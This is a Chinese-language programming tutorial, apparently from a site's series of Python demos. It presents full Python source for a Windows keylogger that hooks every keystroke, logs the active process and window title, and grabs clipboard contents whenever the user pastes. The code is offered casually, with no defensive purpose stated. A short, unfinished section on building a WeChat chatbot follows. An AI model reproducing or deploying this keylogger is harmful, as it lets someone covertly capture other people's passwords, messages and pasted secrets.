Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。
代码如下:
- # -*- coding: utf-8 -*-
- from ctypes import *
- import pythoncom
- import pyHook
- import win32clipboard
-
- user32 = windll.user32
- kernel32 = windll.kernel32
- psapi = windll.psapi
- current_window = None
-
- #
- def get_current_process():
-
- # 获取最上层的窗口句柄
- hwnd = user32.GetForegroundWindow()
-
- # 获取进程ID
- pid = c_ulong(0)
- user32.GetWindowThreadProcessId(hwnd,byref(pid))
-
- # 将进程ID存入变量中
- process_id = "%d" % pid.value
-
- # 申请内存
- executable = create_string_buffer("\x00"*512)
- h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
-
- psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
-
- # 读取窗口标题
- windows_title = create_string_buffer("\x00"*512)
- length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
-
- # 打印
- print
- print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
- print
-
- # 关闭handles
- kernel32.CloseHandle(hwnd)
- kernel32.CloseHandle(h_process)
-
- # 定义击键监听事件函数
- def KeyStroke(event):
-
- global current_window
-
- # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
- if event.WindowName != current_window:
- current_window = event.WindowName
- # 函数调用
- get_current_process()
-
- # 检测击键是否常规按键(非组合键等)
- if event.Ascii > 32 and event.Ascii <127:
- print chr(event.Ascii),
- else:
- # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
- if event.Key == "V":
- win32clipboard.OpenClipboard()
- pasted_value = win32clipboard.GetClipboardData()
- win32clipboard.CloseClipboard()
- print "[PASTE]-%s" % (pasted_value),
- else:
- print "[%s]" % event.Key,
- # 循环监听下一个击键事件
- return True
-
- # 创建并注册hook管理器
- kl = pyHook.HookManager()
- kl.KeyDown = KeyStroke
-
- # 注册hook并执行
- kl.HookKeyboard()
- pythoncom.PumpMessages()
分享七:用Python写一个机器人陪自己聊聊天吧
用Python写一个机器人陪自己聊聊天吧。是不是听起来就很酷,用Python语言、itchat库、图灵机器人就可以轻松实现。
1. 需要的工具
- Python。写代码的工具;
- itchat库。第三方库,用来登录微信,接收并回复微信好友信息;
- 图灵机器人。第三方接口,我们本次使用的机器人;
2. 代码如下:
(1) 准备
导入需要使用的第三方库
(2) 获取来自机器人的回复信息
(编辑:ASP站长网)
|